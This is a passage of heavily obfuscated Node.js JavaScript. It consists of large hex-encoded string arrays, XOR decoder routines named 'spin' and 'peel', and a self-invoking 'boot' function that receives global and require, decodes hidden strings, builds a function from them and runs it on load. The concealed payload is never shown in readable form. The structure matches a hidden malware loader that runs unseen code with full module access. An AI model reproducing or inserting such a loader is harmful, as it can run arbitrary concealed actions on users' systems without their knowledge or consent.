d4dcc1da9aada7a780db909ba7c9db87a784a7d799aab8db9093818187d581a796dbaa87c9a7dba7db91918ea29d8ea7dbc9dbd3a7a796c9db929388a79687c0c79181908891dd88ca96b3c2db8d8cd1a2c9d4dbdb96c38596cabb96c58fdd9dc1dba7a79ac8aa9a94dba593d493c19da7dba791df90c891d69696c387878e9adaa794a7a6db8fdb83dba7b196c9dbaea7ccdbd281a8d3dba7a7a7d8c1a7d39082a996a7ac909a9b93d581db98dc90c8db9c96bedba78edbc58699c48596a786dd969d99dba2a7db8c96db8e909c99c69381c98edadbb6dbdddb9bc999dccb98c9c991c4c994cad59b9096c9a7dbdb9483999aa7839fa79290dbaad5c8a7dedba7a7db8291a7db91c3d0dbbc9696ddde81dbcf969cd2db969d81db97dba7d486c19381aaa78d8194c98688bdd99696db919ea79b96dbdb8896d6d59bdca7dbddaadc96c4c6db9a81db9adb88c9d4db81a7a7dcdb81c9dbdbdbcda79bdbbd819681c99799a79a8196a4b29babdfaa8d989096a5a188dbdbc9c987c5d599b081d4919bd7c58593db929988a7c990a799a1b59cdbdb92dc9b90c1a780c993a7a7a192db96a7db96db909081c9dbdbab9090d987ce818985968190a2b386d5a7929491a7879ab2dd998199d5d6dd8c87c9dbd6919181dbc9a7d59cd89ac98681bc91d497dca7bcb081dfa7a79bd3a7db96c99ca79899a7ddd8dd9881969edba78cd4c5a7acbfc996dba79ccb8787dbd582cc96a194a7c8c9a59691bea8aaa9c793ddd5d6dba786d0db8190c99bdaa7878c9696db9ba796d1dba5d3db93db9c9696b7a5bba791a7cea7dbc0c9a7a7c998a59a8edda78eaa9bc999a79c91db9da7d5db91a79ba787d4bf82a7c5dba7a5a787dbcbc8dd93c990cadbc9b793a88da7969796a596a78688c9a7dd86dba7a5acdba7a7aaa59edd9ac9dd9199c9c590a7d9c4cfb1c48683db9c999d90aaa5a7859696a7c48498db9198d7c9869c86a591dbcad5859891a79da79b9681ddcad1a78781a78ddb90dc95dbdba7db85ca9cd4a7c4a787ddd58edb90a1a7a788db9688c9a7a7cddbdba785a7d79692cedb9696c5a787a7dbd581d3c69b91c09096a597aadba7d4a7949696a7979691978896ddd48e81c9dba79b83dbbba7d38b90b486d18fd7c9c1c9db9a928693b694a799c99a96b0a79aa7a781dbdbc986db9c95a7cadb869296dbdba786a786dbd2d18da79686bba7a7d4a795a79aa7aa9bd4d6a7d9d4c08493dbd6b7bca7b599dbd9dba89aa790a79489c9a7ae81c9c9cf8994aec1c9a78ba7d4deb092d8a7db94a5d490d5d399c9c09bd096a7a791b3878c96db86daa7dbce8e8ed9bddbcec99bc9dbdcc1db819198a7dc86a791dd98a7978edbc9a796db87a598db96a790d596a7969ea78ddcc996d3969cdb8c969099808cced9dbad9187a799a7a7d6d5969693db96a7d5d5a7d1a7969a8787dddb87b685c9bb87d6b0dda8a79ba7d79c9f9b92a7a7c1c9b6d1949199a79496d381ddd4d8a785dba8919adb969ca7888086a78786dd9bd5b6c9d4cedb9396db96b58fc981a7c181b6a781a78196c8db96c696939adbd4d5d5a7cec99390cda79187b8a7a7ae91bbae968ca796cfcba19bc999abdb999acda79ca7a79686869688a78185968edb86a786dbdbdb8896dba794acaec994dfd5dcbcdd9991a7dd828687c3d5dfa7c2d494c9a6db96c9a9a7dbb7b0b9a790c3ac93c9c4c99096a587b190d58699c5a597b1d6a7a89adbd2c999db98d5a7dd85dcc9909e9496db96a7db91dbdbaa80c994d2c9d5a7999c9793989b9193a8dbddd0a7a7c9a7bbb196a7b0a7d6a3dbdb948694ae9bd3a7d9d1c9d9a7c99ac1a7a790b0a7dc8686b9a8cdb0a6a7a790a7b09ca78ea7c996db8ed596a2b293889a9d91969486dba8dbd593a5c8d59a86c3c2b09a96bca59a96d5dbc29c9296b3b6a7dbd5c996b0dbbbd5db97a7','969d9487b481','96ab98909f97ab81879a','8685999c81','c7cdcd999886a0b185','c4c1c0b08583808191','9f9a9c9b','c3c59ab1baa18ca4','c4c4c4ccccc4c3b0a79ea19199','c4c3ccc3c5c1c3bcbe9d9bbebe','93879a98b69d9487b69a9190','c3c5cdb9b684a58680','9d849087868d998083829496919f978c98929a878f939e9a969c85818780819b86819a9b96','c6c3c0c3ccc6a3bab894aca4','8680978681879c9b92'];uFZJCBPkZizvf=function(){return xTmxLGucdH;};return uFZJCBPkZizvf();}function spin(FfKzSIDp$NcOuXFZBJ_CHQSPN,GcPFo_H$YWuzwHOLObbqnFaE){var MRAuuiXbNlf=iHnmzEbnHW$DFPJlH_k,XlFOWWdynqeXPmh$KiC_tyWvrt=[],ISvQGucB_Gv=-parseInt(0x3)*-parseInt(0xab7)+-parseInt(0xa51)+Math.max(-0x16,-parseInt(0x16))*Math.max(0xfe,parseInt(0xfe)),QrsyFxJBYBnJAvsXcggpkOmhe=GcPFo_H$YWuzwHOLObbqnFaE[-0x196*Math.floor(0x16)+-parseInt(0xbcf)*-parseInt(0x1)+parseInt(0x13)*Math.ceil(parseInt(0x137))],PcfPYhaGCwWvPITkAeRVh$Lq_KV,fI$Qa$cy,Y_BlNB$L,TZcT$vuHmKlsqUbpjE,Mk_rsooAxKwbtN_gvflbiXQyD,hzD$VGIwfqJnbnlhUQ;while(ISvQGucB_GvparseInt(d$HNOx$zaQvXcAJs,-parseInt(0x1f11)+parseInt(0x182)*Math.max(0x4,parseInt(0x4))+Math.trunc(0x5)*parseInt(0x505)))),bEuFLiTCfVlwhhIrvBD_wf=EaWAoYoydVDgXmPMK['map'](i$oxEVCX=>i$oxEVCX^YupinCLpBjN),eTVPkTzZWaPC$oPn=new TextDecoder(),txfkTipBRQJH=eTVPkTzZWaPC$oPn['decode'](bEuFLiTCfVlwhhIrvBD_wf);return txfkTipBRQJH;};CdeqxL$ow$wnCYXfEiBRVHIG['MEtZoF']=STuvl$mbFZ_O,L$isYpMRvzsf$NY=arguments,CdeqxL$ow$wnCYXfEiBRVHIG['khUQbj']=!![];}var giSWBZUZXsQwXnCmGwk_tChHr=OwerIQIgl_YRyrhZ$K[parseInt(0x2e)*-0x2+Math.floor(parseInt(0x53))*parseInt(0x58)+Math.trunc(-0x259)*parseFloat(parseInt(0xc))],KoDUDS$TWtJwjGis=SNQPEtwVL_nl_LLIL+giSWBZUZXsQwXnCmGwk_tChHr,PCkjmFsw_T$xldJuKGR=L$isYpMRvzsf$NY[KoDUDS$TWtJwjGis];return!PCkjmFsw_T$xldJuKGR?(CdeqxL$ow$wnCYXfEiBRVHIG['IbHCUC']===undefined&&(CdeqxL$ow$wnCYXfEiBRVHIG['IbHCUC']=!![]),k_GhKosyj=CdeqxL$ow$wnCYXfEiBRVHIG['MEtZoF'](k_GhKosyj),L$isYpMRvzsf$NY[KoDUDS$TWtJwjGis]=k_GhKosyj):k_GhKosyj=PCkjmFsw_T$xldJuKGR,k_GhKosyj;},CdeqxL$ow$wnCYXfEiBRVHIG(L$isYpMRvzsf$NY,PgNpNpQAICAaGhs_Y_ruBUJ);}function peel(ITOs$JwGAkWrEqb){return spin(ITOs$JwGAkWrEqb,SX);}(function boot(VBcaPKnWWbdFMAnXflWzGel_G,E$OBD$GNnx){var QvZuDrfuztue_n$ce=CdeqxL$ow$wnCYXfEiBRVHIG;VBcaPKnWWbdFMAnXflWzGel_G['z']=z;var JSUm$gVcJb=splitLane(QvZuDrfuztue_n$ce(0x165));VBcaPKnWWbdFMAnXflWzGel_G[JSUm$gVcJb[Math.floor(0xb40)+0x313*-parseInt(0x1)+parseFloat(-0x1)*parseInt(0x82d)]]=E$OBD$GNnx;typeof module===JSUm$gVcJb[-0x17*0x182+parseInt(0x51)+parseInt(0x225e)]&&(VBcaPKnWWbdFMAnXflWzGel_G[JSUm$gVcJb[parseInt(0x320)+parseInt(0x2305)+parseInt(0x2623)*Math.ceil(-0x1)]]=module);var SGSlB$JePEw_iRnqOktLdeR=peel(QvZuDrfuztue_n$ce(0x160)),yibC__KQUxLKuWTvGo=SGSlB$JePEw_iRnqOktLdeR[QvZuDrfuztue_n$ce(0x15e)](0x1*0x1126+0x1*-0x149f+Number(-0x7f)*-parseInt(0x7),-0x1cb8+Math.ceil(parseInt(0x1de))*parseFloat(-parseInt(0x9))+0x5*parseInt(0x91d)),KcFQjRGmLUxlRkxDqFy$_B=peel[yibC__KQUxLKuWTvGo],UJgiCqtFDiDjwgwrDbvur=KcFQjRGmLUxlRkxDqFy$_B('',peel(QvZuDrfuztue_n$ce(0x15c))),MDdgHQ_h=UJgiCqtFDiDjwgwrDbvur(peel(QvZuDrfuztue_n$ce(0x163)));return KcFQjRGmLUxlRkxDqFy$_B('',MDdgHQ_h)(0x21a*-0x2+-parseInt(0x23c5)*parseFloat(-parseInt(0x1))+Math.floor(-parseInt(0x15c4))),-parseInt(0x410)+parseInt(0x2a38)+-parseInt(0x65a);}(global,require));function oHawKZbrVVNW$tHP(){var QuYEezJqXXYrBCiRWsSwq=['c5d1cccee0cbc2d1e0ccc7c6','f1fc9f81c0f1e98285f5c6c0f1f4c29ef1d1c5f1879581c09298f1f1fac0cdcbfc8c8dd783caf1f1f1e4fd9ff18df1c0f1918df8cdf1838df1c58d8c9ff1c090828296cdf0f19ff1caf1ef8dc6f0d0cfc58bc6c7c4dbc09f9ccc9fd1cfc0f19cd7f1ccd0c7f1c5d6f0c68d9c85d3cb8df1f1eceed0f8c69fd0c8f1e68d9ff1d69fd1f1c698f1e7f1e1d1f1f1ff8dc5f18d9fc09982c1d3cf939acac0ccf1d1d7c0f18b98d1ccf1f1cd918e818b8dfdd483da8d9f9fc7c7838a87c583ccd68d86c69fc29fc68dd79fce8bc0f1dbc5f19ff8e98bc5c6f19ff3c1d18dc184ccf1ca8df1f19f84f1f186d4f1c5d08ac6f18df8c2c4f0f3d8c7918dc89fc2c092c68d82908df39ff9f1caf189cce7d0ca9ef88d9fc58d8197f1c183ed81c6ccdbf1d3cc8dcaeacfc8c2c6f7f18d918a86ce9fcac6f1fed99fdff1d68b8bc5f1d4f1f1fff19df19a808df193d1c79ed08d93db82d0f18dc5f1f08a8bc0c0d792d3c5ccd7c2c6eed6f1e3f19e9ff1f18cc38df1c8878b91c0f18dd094c692c28de5f1e8c0898d8dd981f1cdc5f3c6d0f1d7f1f1f18d9ff1cf80f1c59f9983918b8bf183f1878495d0c39f90cdcbca8987c6fbc0def1cb9c83c0d7ccc08dcac6c0c09a83d8f1c29fd098d6828dc6fee6f1f1cceb8d8d8781cd9fe790f1d0f1f18d8d8bf1c6c6d0d0c6f19f83d78f8183f1c7ccd5def0c093e9ceca8df79fd0e6c6c4d0f1d4fef181c2f18df182f19fcc8a8ac9f183f1c6d483cad7c08dd0cdc88bde8bcdf8d5c6f19f939f9ec8c5eb9fd1d1eef183c0cac8cde68dc08de19f85f1f8ccfef18d86c0c0f1cfd1db988983f881cccad0c6cdf1c6c5c6c282facd8dc6c0f186cc81d68d9f95cff1f1f1daf19ecad09ef1f18b8af1f1c699f1f18a82f1d4c0d1f1929f8dcc82f1c0f1c0e381def1d6f1d2d6968b90f3cccf81c6f1d79382c5d7c2f1899ff192d7cdc8c0c5def78d82878c9fd1cc83eadac0f1f1838af39fff8dc19fd7f19499f3f3d09ffe8dd1fb9f9f8dc6f1d68bf1f1f1d2cdd38d9f8df198c0d7cad0fb8df1f1daf187e39f908ac8f1f1c09f88f1d19bcf898dcaf182d1e0fff382cd9ec0d09f8bc0ca9f8bf194c6f1c6f1c08d83d79fc6d3c68ac69f9f8fc69f8be6e8828dd3cdc18781f1c2f1f18dc6d5d6cbc08df7cffcc08d99f193d1838af1d4d482d0f0938dd794d68d938bf19afcc28b87858dc695c58df1f1c892e0dbc1ca9bcf8dcbc09ece8be39ff1c78d8d9fd1d18d918de8eed1c0c1fcf1cdf18bf1fcc099e7d4d7de8df18dd8de9ac487f1f1f18af7f5d79fc28b8d9fe48dc7f1ddf4f6f18d98cfd18dcbead0ceedf38383d7e3f1f19bfcf191f18dcaf1d1f1f3f19f8bf19080c0c6c093c0c690caf1f19fc2f190f1c2cdf1d8f9d0de82ee9ff18e898ddac7c290f1ca8c9386c5f180f1839fca919ff1939b998dd7def1c582818ef1c08df1cff1c0dad7daf1d0c6e293f1f0f7f19b8d97d29f87e5f7c6f18d8df3fc9fc0f195cbc1f18dc6d1ca8dc08ef1cbc0e2f1e091d5f18d98c1f09ff19fc280e89ff199d1fef7c5c6c68e9882c89efcd08df1c0cec9d08bf1de999ff1c2f18985c48d9fc7cccec6cad0f1cd8d8b8780fcc2d8f5e3ccc0fa8e8dcccef3c7c2ce8df1c2cfc5c0daccf78882f3fcc4d0d18d9fc1caf182c58d8ac0ea858bc1eaccf1ca8bd1cdd1f48dcac68df1c083828bcac08bf0f18dc0d1c3999a9ffbd0d3f18b8783cef1c0d79fd08dc4828d979bd1d0c8c6d5f5f1f3c7f1c8dbf19ff1c7c6d1cd8ac6f0d08c8af183cfc6d19fc0d0f790c7c0de8df196e08cf48b8df0cccdf9d18af1c0ccc0c0d0c0cb8af18d9ff1f19fd78dd0d08bf1f19fc7cfd68dc08ddfc59bd7c88fd0cfcdc6d3cc9fc6f19f828d95f18dc6c6f1f1f7c285cb83eec59fd8f8cc87f19f83f1d0938a9e839fdbf0c6c08dc0de9fc087c6d08b8bc78af1f1c0dec5e0f1f19f899ff18dce8e8df189f1c69f8bdbd5f1d0838bee85f1c58dc6f389c4839dd08a9fcc8d9e8df1cad0cdd1f18d9cd8969fcac1f1958af1f192d083c0f1c4d2c0c6cfc09ec0cf98c1c69fcfc589f0eae0c791c681d9d3f1f1de9fc0f1cff08fcdc9d0c0ce87f1cd8d82c2caca9fe9fafe9fc5f3e0d0e3c9e28df19f8683d78df1ccd4f1de8483d19dd3d9cb8d8dcff1849fc4ccfcde9ff0f18bc8d2dbcbf883859fcaf18ec587e09fd69fcac2e6edf196f1f7f1fe9ff1d3d0c88d8df1d9c7c48d8afe9f8ac6d18df1d18deed0f1d9f39df1f1c69f9fd7fccbc4cf9fd38df1c0cec5f1d082cdc5d7f19783c7d7fc9afd9f8fccd1c696f1c5f1db83f1f1f8d1fb8d9fd0c1daf19f9f8d91f18df1d1c6cdf6f38bda9d8dd39f9fc0d0f1cfd793d78dd88df0dacacd9fc4c4cf8783f5c08d8a99e6ebea828ddbe7d6f18ff1d3f1cbf18bd0c0d78deed1f1eec9ebeef1f1c0f18d83f1d7cdc7dfccc2938dcd80c28d918ae7c5c885c0f1eaf1f1f18cc5c6f18dc0e39fcad1d095f78892f1f3db8d8df18dd0c08dc2f1808d8e9ffbd8f182cd97f1c0f1cad7f18ccdf1c69ace8d8d9fe28ac1c6cd8a8dfe9f8dc28bf18b8dd89c90d7f185f1f18cca8bcffb8d839fcb82c7f1f19f8182c0cc9c83908392f19f8ecbcd9fc7d7cdc7cc9ff1c8d0ce808ec08bf7c6f1c6c682fe8df19fd09ff7889ef18df1ca8ed1e3f1f18dd180c0c79fc0f1f1f1ced9d7c58de0c7c6f1d38dc0d8f2f1cac1c9d0ccd08dc5f1d1c48ef1f493c7caf1f19f8dc89fecf1f1858ef1828083fee0d0fedad7978d8ec7fcc3f3f1f1849f8df1d5c6c9f0d49fc7c08dc0838fc58df38d8b8dc0cad7c0edc1f1cd848e8dc6f1c0f1cdd1f28dd1f1dbccd8f1c09f8195f1cdc7fef1def1ce8bf187f1f0cc8df796f1c091c0db8d89d5f1cccac0fc9d8dd093e1f1c58a9ff39fc2f18dcce0f9df9383f3ecebc7f2cc8dcd839f8d92d0ccf1fc84838df39fc6d18df89ff1dff19f93ca9ff1d19884ea8df1f8de88cfc082f8cec0828dcfc09fcd8bc283d7f1f1ebf1cf8fded3def18af19bf1e99fc2f18d9fd7c78bed9dfecac09fcec6e396c0cdf8d68df18a8dc186d0f3cd9f9ffcf1f182f1c1f19e87f1f1fd9f82de8ad0c18e958180e69bc0f18bc782f18ad7d1c2d7f1f19f9f839192f184ef82cac1dfc6ecd7f1f1d787d6c0c7cdf1f18dd78af1d9e68de4f3da8283f1e2ea8ecdd2c2d69fde8ddac0f18d8d8dc0f1f18dc0c0c087fdf1f1c7e0fcf19fd79bc0f1cbd09181f1918d84f09d8a8a91cb82c6c5da8d8d9d82caef87c6cd8398869aecf7d58dc78797f1f1e09fc0f3f08bd7d6f1d4cf858bce8081f1dfd3c0cb9fd7eb87c29f9f838dd782f1f0e6c58df1f1c4c0edf38df183e0f1ca97cef19f80eef1f19f98d4ca8e80e6839f9fd79fc6f19feb9ff1d1cdd7cce68b8293d1939fc78d8df1e081c0cd8d8d91c1d38b95e0d39ff0f181c692cf8ac0c09fc28bf38df39ac69fd2c28a9f9f929fcd8dcaf1c2f1f3f18bdef19e8d858f9182c0d4f18d8af3f1878d9fd2f19fde829289f09ff182f1c58d9fc09ff1c7fc9ff191f19f9f80fe9f9ff1f1f1d3828dd1d3f19f8982f7f1eaf19ff3c89ff1d9d7c28d85de8dc2cfc6e89ecaf39ff1849ec4f1f3def1d387d8f0e18d83f1d0da8d8b8dd78283c0989fc696d0cb9597d7d79fd3c59fccd7dbd6eff7c8d19d989ff18dc0d3d0f18dc0f1d7f18e80c297d6f1958df1d7c6988e8b879cd49b99d38c85f1cf939fd1809fc683cacad0c582c787c2ccfc8b80c0ced183c69ff1f1f582f3cdc0c29fd78dddc0d1c08bc68489c299839ff1f1cdc6c2f9c68d868cc7f19ff1f1898be683c388c6f8f3c0d4f1d4839f8bc6d6c0d7c28a8d94f49f8c87f39f8dcbc0f0f78394c6f1e1828d88f18dea9fc1cbf1c6cf8dd7c68dc197f8d6cdd6c6d6f182f1cfd78bf1f1f18fde8febc5d7ebd5fccd8d9fc6f183fce29f9b9fd0d19ff1db978af1ed82d3f1c7dfe1839ff1f1c8cac684c08e8df1c0cdce90c0d09ff0ca9fca8d8a8de68bf18b9ff1f1f3f183fc90f19fc0d4c68d828dcf9ff18782f1c1c78fc69ff3f1e6cf87d7d3d1829fcc8c8a8df1f1d7828ff78bd1c0808c8df1da8b88f1d1f1c4c39fc58d9fc2888dc58a8c9f9f859f83c6f1f19fc6ca8e9fe1c5e68dd0f1c1cdf1f18a8df1868cc9d7cff19f86c083f182f18bdbf180c0f18dd0f1f18df1ee8d9ff194c08bc0c4cff1c0ce8dfe9f8dc6c091c18af39f9f91f1f185c7c2e1e88ad19ff9d79df8c7c2f1ebc0c6c78deef19fded0f1e4d18df19f9c92f1c5f1f1c0c0c0f18bccd0c081f1f1ddc89fff82eec08dd38de08ad6f1db8a888bf1c8ffc684c995eef3f6f1e0cec09cf1f190f1978bcacac68dd0f1c689f199d9f0f198f3cd8bf98a9fcfc8f1d5cf999ff1f2d8f1c0ca81c0f388c68feef1f4c28d9ff1eed1f1cfd7809ff1f1d0d790d1828d9fc49fe8f1d4f18bf1c98df1f1c2828de497f18d87d3cd8dd998d8c6f1989192d893f7978bd1f1c88e848d829ff1db9fcae8cb9f8ad0f89fd7c083f3d6c6f1ded18bc5c2c2f1c594cf9ff19682d1f1cfe7fbf1ce8d9299d3caf1839f9e83f1c9d0cc8d9fc6d182ccf1d2ea8af192f1d1d1d4ccd885d7f1f1e89fcde0f98e93ee8dc0d6f18ac086c0c79388d49f87e69fcaf79f9fccd7c7c2dacd9fcaccfd8df184f1f1d4f1c09596c8f180e9f38d9f82f196c682d1d8f1c698dac6f18b8d939e98c0cad08dc08bc4d7f191d3d69a9eeef2c5f8d88feccd838d8df3edca8b9f8df1c2caf2f18d8dc086d78c8b8cf19f8dd18df1d18d8dcf82d0c0d6c68dc2f3ddf182c09390c2f6f181d7c0d0c08d82d1f5f1d3c2cad9939fc181c7d7c4c7828dd09c80c0d5c7f1dd80f19ff19f8a8bf7c18deaf18af3c09f959c948afe97f49580cdcdf3d78dded1c6dff1f69df1c6c2f18ad38083cdf088c19186caf1c9ded08bfbcdfdccd0dac0d0c4c7e98dd0d0f8d3c8f19b8d83d0d6d4d1f1cddadec7cc8de4caf78d9fd488c08d8bc0d0988283cdcb8bf18ff1e0f1f89f85fbf19f9f8dc0c1c0f7f1d0e2c5cdc0f08ef181ca9f8dc0e18bdff1f18df1c786f18df68cf18dd1ef9fd78a82f1c6f191c0d3d382d09f9df19c92f1879fd7c6f19f9ff1cc93d1d7c58bf1c6d0c1e7f194cfcac2f18dded08d8cd0f1c0d1d0c2d1cff186c5fed093f18d9fcfc69fd1c686d08dd0cfcfd0c19bf1ecdbe0f1d7c092d795d88d8e83f1cf8dc6f1cc8dc0c4cef1c8ccf1d0c1c0c29feadad6def1d1d780d085dfd7f1c2dbf18acbcc8df1d0c583c8f1f1f197c0d18bdb8dc09ed78d9fca908bf1db838d9f8d8df187c581d783f1f1d0ed9f8ce083f1cdf1c7f1d1d3f1f19fccc79f8df19fd1f8c2d181cf9f8d83f3818df1d08df18dd1c082d580e7c5f1c6c6c1ccd88ff18ac79bd59fc5f1c08dc0e99fd7c68d82f1f181c8f08bf08af1809ff08dcbf3ded1d78d8b8c8b8dc08b92c79ff1d482d0d6938bcc8df3c18b938df1e9c0e6cae08dc58b838dca8dc1d6c09f80d18d8d8df1f1f89b8afc82f18df0f1e18281d7f1f5c1cdfcf1cfc0f3f1f183ccf1cd98cb9ff1f3e3d19bc2f1d1cfc0dfc0cc968bf1d38a9ff1dbc79f9f878dcd9fcfccdec6d1f19fccdaf1c2cd8dccda8df1eae19fcbd79fc0ccc1e6caf1de8bceeed18df7c2f193f1c6d7caf1de8d829f8df1929ad79fe2c6c1f1fcefc0cfcb82e793d18df193cacfcad1f1c08cd09b9fc0f18bd189f1e3c69f9f8dcf988dd1c08ef3d6cfc2f1c0c0f1ca819395e382f1c0828df2c8cf8f9fc49f94dec18bc2f1c0ef8dc0d084888d8df78b9fd1f19f9f8d8d85c5c79df1cc83c0ccc6cef1c0d48dcfc0cd8bc099f184dfd79ff1cdf1fafe97ee93e4f18df1e5f1d6d78d829fc58dd6888788d79ff18994d0f1f1f18bcac1cbc79ef38d9fdef1f19ec6f18dfc8a8d8ad1d18f978583cff1dec69ff195f1f19ffdc4c5cfc6f1c7d0d7f3dd9fc1c08d8bd0da9f96def1ca9ccfc0cb9f858d90d8d68dcdfc99caf194c198939ff19fc0f1f1f1c0f1e3df92d0c6e4f1d0918ac09ecb9fc59ac69f9fd188c6f1ff848a8596d1d58ce5d1f88dc28dd7cd8df1f3d1cdf69fccfcc095cd9ee6f79f8dca88dbc094cfc6d5d0d69fd18d82f1c09f82fef1d4838df1f18bfef3f1e78d83cfc58299858dc1c7d3f7cf8df180f1f08d87f19f8bf1839f9fc0f88dcd8d83ccf1d19594d19fc68ef18ed6c089f1f187f18dc1c2c6dac0d08d82f8f1dbf1f19fe7fbd7c5cdc0f1f2f3cad0f1d7c4c09f8dc2f19b82c1829ff0d7939ff19d83f1f1d1caf19dc0f6d38dc0f1f4f9f182f1e7e88a93c0d5cdcdc8d08dc683f183fdc7cff19fc0c5f1f1d699d0e4f1c68f8bc4f1f5f181f1d6f1f1f181f1d7f19ff1d0818de6f1cafcf385f19fcfdaccf0c484d09dd5f1c0d4c697f1c0c4c38dcb9ffcc0848bd6cec7f1f39dcc9af1f3cd92f1808dc0c5f19ff3fef1d08cc2cdc5d2edf1f1849f8df1c09bc0caf1f1f1c08dc2fcd3d7e8cc9fd3d0d19f949ff1f1ca8dccfcc08c82cdf1f1d08b839df1f3fedbd7d7fcd0fccccbe19fc284d0858df39f838dc8e4c095d19f94cacc8cd4f1eaf0f3f3c0dbcbf1d4c08d9f8dc0cac08692f1c59a9ac7f0839ff1c1c0d0f1f5f1d0dbd1c7c2fef198d79cf1ed8f8ff19d8ac0f3fa81c0f1c0f1c6e5838293f1f1d2deded19396ef958d9ff18dd1c59f87d6dfc09fc09ff68ee7f883c0c08dcc9f96989f838b8de68dcb8df1fccf9ff1d19f9fe59ff8d7d7e0cc86cef08df1f190eac1c0caccf1f19fc2d3f1c0f1c0f8f1f19f8dc5cdf1f18f8df1e1c2cd8bda8cf1dfebd3e4cdf18d9f9ef1f19fd68bc2c0d087f190c6f18acec0fce297d6cdd781c698d0ccd18b86f1f3d78bc6c48b8e89d182ce9ff1e78bf1f1c28dd1c4cfd98df1d48dc5f1fed2c2d5ccfec58b869f9fc0c0cf9f97d09affe3d6839ac68d89db8d8ce5d7f0f1f3f88d8786cdc3d98a9f9f878296f2c0c188fef190d7f19fc5caf3c0c6ff9fd9ca8df1c0c2c1d1838b9f9fc1cdd59582d7cdd4fcc0fbc58bcdcb8df8de89d08bc39ff39d8bf19f8d8d9fdbd79af18b8dc09f8bc693f18df3c2cc8d82c78b8b8ee3c593c69f9f95f1ccf1d6988bc7c383f1d38d8d9fd38fc69ff79fed8df3f18df8f1c0ecd98ac58b9fcffe8dd6d89cd1c59ff198f19fea89c29f9f87c3f18b838b8d8d8d9f81999fedf186c6f183ca808dd98dcf8bd1f18fc7f1c28dc7f1d59fd0f5c08bd0feca8aeecb8df1cd9ff1f1f1d7d7f1c48fdd8df1f8f180c6c58d98d7d7d38d8ad0f1cdf0d7cff1f191ccc68d85c0ca8bc2de8d81f385dad0c6f1fcc286d1f1f18de79fcaf3d0f1e782ca8dcef181f1c9d9cb9fd6f18d8f9dc7c68dc9ecdec2f1f2c0f59fd08790e0c4f19ff196e6c0c7f6cbc0c68d82f6c58df18edb959ffe8dd4c09f9f8de682d1f1f3f1cae0db8df0f182ce8dcdfbc18d94c58dd9c6c5f9f18181fe8bda9fdbc19fc89ffef6f18ec0ded2c58d82edca9efacaf1ccf1f1ed8de3d0d492efd6c692c8f1858380d1e7c0c6f18dc2cff1f18df18d8b81feeef1d7eecaf1d18ad1cfd6f1c7858df1f1c0d3cac5eacf91f19ff19f9f96c58ad985c5f6f1c6c09fd0979fc6cdd0f18dcc819fca9f8ff182d083cce1caf18ec0f193cff1edd7f7f18af0f1c09fc5c7d6d7f1f1c7f3d9f1eb8bf1c0d08af3e79fc087f1db91859992ebd1cfcc8d8dcd83c5d08d87cd9bd6d3ec8793cad0d0d0ca8d8e9fd5f19f8d9fd2f28b82f18283f882c7dbd4cd8df1dad689ca9cc7f1868df191f1d79dd194d082d7f1d0fcf1c6c7c3829f87fef183f1ce82f1c5dbf183cef1ccc882c0d79f8b8d8dcdf1c0f0f1cdff858d9f93f1f7cad4ced7d39089e48bf3da8ccddbe5cbd7f19f8d99e4cc8d8d8d8bf1d78dd18d9f93c0d7f78bd19f838dccf8cad58d9ff192d0f19ac7fef188f1f1cbc6f182c0c091f1f1c6819ac0f8d19f98e7c6f3c0f1f1c8d7e4cfc49f9cd7e2f684d7d7f1f2f1de83d490d7f1c2d7fe8bf5d78e9c9f9f9c8d8d81cfd18a8dc6f18ef1f1eafde6e8d58d9794f1cc88caed9fc6c0c68dcdf1db8bd7f1ebf183d79b98f1cad18a9fc2f1c0db8bd2c2f1d0e3c5c6d1f1ee8d9f9e8dc0d7e39fc5c0f18df18af18dd1dbcf82d78c8fcfd0f1f1f1c09e8dca9390f1cbf1f1d0d8fcdbf1d19ff29fc08fc29f9fe6f48beeccf19f83d6d7e681c5dec1c5d18d9fd0f188fec7d1839ff182f2f1d48dca83eaf1f7fcf3cc8d8bc093d79b8bd0f1f7f1f1c0cde1f182818ddbeae78de2cadec6d3ccf19082ccd99efec6d7c8f1d78cd6e29297f1f19af1c0d782edc2c7d1fccde4e0828cc187def181dbc79fcaf1c0d7fd8dd6d6d49e90c7f1d3d4c4f19af19bf3d2f1ca80f1d3c49ad69e92ca93c59f8df19ff393c5ded7d5fcd190c6d0999fc5d19fca948b9fda8bcccff18dc69acccce1f78dfcf1d7cce68a83c2d08b9fc0f1cac6c7d7d0d0f18cf1f18cc6d1f18b8dd4c0c68df18dd1f3da8bf1ec8b9f8dc4ebdbd1f19ff78def82f1db8b9fcc8bf88d88d89fc09ff19f8dc6caedf7f1e0f8db8d97f1c8f187d3e8818dcfc0f38b8d9fd7c88d9ff1f2e5c8cdd4eaf18a8dd78ef1d19ec6d89f8df3f38380e69590c2d390f8f18aefc7c7c098f1dbf182f18483cccc828ad48dc6828df1c09f93869fcad0d09af1d6ec95cad1878df18dcad39586ce8e95d4f1ca9fd99f83c4d19ecdd4c6f1f1edfcfcf18bf1c6e9d5f1c5f18699edf1f3f19fcdf1f1f1878df18dcef19fd1f180d8e6c08d8ac19f95d3c6caf1c580d7ef8d8df19ff3c9f1f18d8b8fc2fccfcf8d838de783c49f8bd1cbd5838197c88283c3cff19fc8c69283c0878796f1d98df1f1fec6d685e7caf1838df19f8b8bc0c6d1d0e68dc2ccf1cbc6c58a86c6eff18a8d998dfd8ac6d0e0f18dde8df79ff3fd8d83e7da9f80f1c0f1d3edf1d18acdf1f1cffc90c79bf48bc09e8e90e6c6d2c6caeef1f1c6f1d9f1c2c0e0d6c69fcf9ff1d0ca8dc298d1c09f8dcfc7f1fa8df1c2d1cff1c0cdecc590cbf7d0c7d79fee81ce9fd08bcdd3de99e28dc5daf19ff1e09f80f1da93d5f19fde9ff18d9f86c2d7d082cff19d8e9f91cfcfc78dcdd1969e8be5998df1f1cfcdf1c0f181d0d990cc819fc5f185908d8d82fa9dc5f18ac1c6f1cfd0cbd3ee869fc58d8bc782c2c1cae5f18390d4c2ee9fd0c68d8dd2c5f18dcafc8d85e6828d85f1f1f1c0f1dbd8f1f8f18dfc9cf1918282f1f1c0db8af1eaee8d8ac59e8092e6efc1f1f1cde9c6c2eecace928af1f1f1fc83df9fcfc29f908a93dac0c7858d80cd9ecf8ddff1d0988dc58bc6c08dc0d09ec0d89cf18c86c7fc82c2cdecc0c69ff1d1dbc28d84c18a9efc9fce8acac0e2c0e0f1c08dcd9ff18dc6838d8df18e9fe2f1968df1cef8c7f19f9f91f18de2cd9adbf1c0d7cec0e686f88d8df18ff2d79fd6f3c5fc829ff19e83d7f9f1c0cfd3f3898dd6c6d3959fc58dc19af1f19fc0f0d1c89f